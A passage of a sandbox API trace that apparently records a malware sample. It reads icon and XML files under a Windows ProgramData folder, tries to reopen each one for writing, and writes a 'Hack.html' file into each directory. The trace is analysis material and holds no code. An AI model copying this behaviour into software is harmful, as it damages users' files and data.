0x5c [0070.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.441] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.443] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x60 [0070.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.443] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.443] GetFileType (hFile=0x258) returned 0x1 [0070.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.443] GetFileType (hFile=0x258) returned 0x1 [0070.443] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xe3c8 [0070.443] ReadFile (in: hFile=0x258, lpBuffer=0x27bfd6c, nNumberOfBytesToRead=0xe3c8, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27bfd6c*, lpNumberOfBytesRead=0x39ecf0*=0xe3c8, lpOverlapped=0x0) returned 1 [0070.446] CloseHandle (hObject=0x258) returned 1 [0070.498] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico", lpFilePart=0x0) returned 0x60 [0070.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.498] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.500] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x64 [0070.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.500] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.500] GetFileType (hFile=0x258) returned 0x1 [0070.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.500] GetFileType (hFile=0x258) returned 0x1 [0070.500] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xebb8 [0070.500] ReadFile (in: hFile=0x258, lpBuffer=0x284629c, nNumberOfBytesToRead=0xebb8, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x284629c*, lpNumberOfBytesRead=0x39ecf0*=0xebb8, lpOverlapped=0x0) returned 1 [0070.506] CloseHandle (hObject=0x258) returned 1 [0070.560] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico", lpFilePart=0x0) returned 0x64 [0070.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.560] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.561] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x61 [0070.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.562] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.565] GetFileType (hFile=0x258) returned 0x1 [0070.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.565] GetFileType (hFile=0x258) returned 0x1 [0070.565] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xdff5 [0070.565] ReadFile (in: hFile=0x258, lpBuffer=0x26cea8c, nNumberOfBytesToRead=0xdff5, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x26cea8c*, lpNumberOfBytesRead=0x39ecf0*=0xdff5, lpOverlapped=0x0) returned 1 [0070.575] CloseHandle (hObject=0x258) returned 1 [0070.614] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico", lpFilePart=0x0) returned 0x61 [0070.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.614] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.615] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.616] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5b [0070.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.616] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.616] GetFileType (hFile=0x258) returned 0x1 [0070.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.616] GetFileType (hFile=0x258) returned 0x1 [0070.616] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xec75 [0070.616] ReadFile (in: hFile=0x258, lpBuffer=0x27541b4, nNumberOfBytesToRead=0xec75, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27541b4*, lpNumberOfBytesRead=0x39ecf0*=0xec75, lpOverlapped=0x0) returned 1 [0070.625] CloseHandle (hObject=0x258) returned 1 [0070.664] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico", lpFilePart=0x0) returned 0x5b [0070.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.664] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.665] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x63 [0070.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.665] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.666] GetFileType (hFile=0x258) returned 0x1 [0070.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.666] GetFileType (hFile=0x258) returned 0x1 [0070.666] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x10654 [0070.666] ReadFile (in: hFile=0x258, lpBuffer=0x27dc97c, nNumberOfBytesToRead=0x10654, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27dc97c*, lpNumberOfBytesRead=0x39ecf0*=0x10654, lpOverlapped=0x0) returned 1 [0070.675] CloseHandle (hObject=0x258) returned 1 [0070.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico", lpFilePart=0x0) returned 0x63 [0070.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.713] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.714] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x63 [0070.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.714] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.715] GetFileType (hFile=0x258) returned 0x1 [0070.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.715] GetFileType (hFile=0x258) returned 0x1 [0070.715] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xf8c2 [0070.715] ReadFile (in: hFile=0x258, lpBuffer=0x286b8f0, nNumberOfBytesToRead=0xf8c2, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x286b8f0*, lpNumberOfBytesRead=0x39ecf0*=0xf8c2, lpOverlapped=0x0) returned 1 [0070.727] CloseHandle (hObject=0x258) returned 1 [0070.765] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico", lpFilePart=0x0) returned 0x63 [0070.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.765] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.767] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0070.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.767] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.768] GetFileType (hFile=0x258) returned 0x1 [0070.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.768] GetFileType (hFile=0x258) returned 0x1 [0070.768] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x2c64 [0070.768] ReadFile (in: hFile=0x258, lpBuffer=0x2706fe4, nNumberOfBytesToRead=0x2c64, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2706fe4*, lpNumberOfBytesRead=0x39ecf0*=0x2c64, lpOverlapped=0x0) returned 1 [0070.772] CloseHandle (hObject=0x258) returned 1 [0070.807] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0070.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.808] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0070.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x57 [0070.809] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpFilePart=0x0) returned 0x58 [0070.809] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a168 [0070.809] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.810] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.810] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0070.810] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0070.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0070.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0070.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0070.810] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", lpFilePart=0x0) returned 0x57 [0070.810] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\", lpFilePart=0x0) returned 0x58 [0070.810] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a168 [0070.810] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.810] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.811] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0070.811] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0070.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0070.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0070.811] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0070.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0070.811] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.811] GetFileType (hFile=0x258) returned 0x1 [0070.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0070.811] GetFileType (hFile=0x258) returned 0x1 [0070.811] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x5e8 [0070.811] ReadFile (in: hFile=0x258, lpBuffer=0x2767798, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2767798*, lpNumberOfBytesRead=0x39ecbc*=0x5e8, lpOverlapped=0x0) returned 1 [0070.813] CloseHandle (hObject=0x258) returned 1 [0070.853] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0070.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0070.854] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0070.855] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x61 [0070.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0070.855] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.856] GetFileType (hFile=0x258) returned 0x1 [0070.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0070.856] GetFileType (hFile=0x258) returned 0x1 [0070.857] WriteFile (in: hFile=0x258, lpBuffer=0x27b9234*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x27b9234*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0070.857] CloseHandle (hObject=0x258) returned 1 [0070.858] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html", lpFilePart=0x0) returned 0x5b [0070.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0070.858] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, 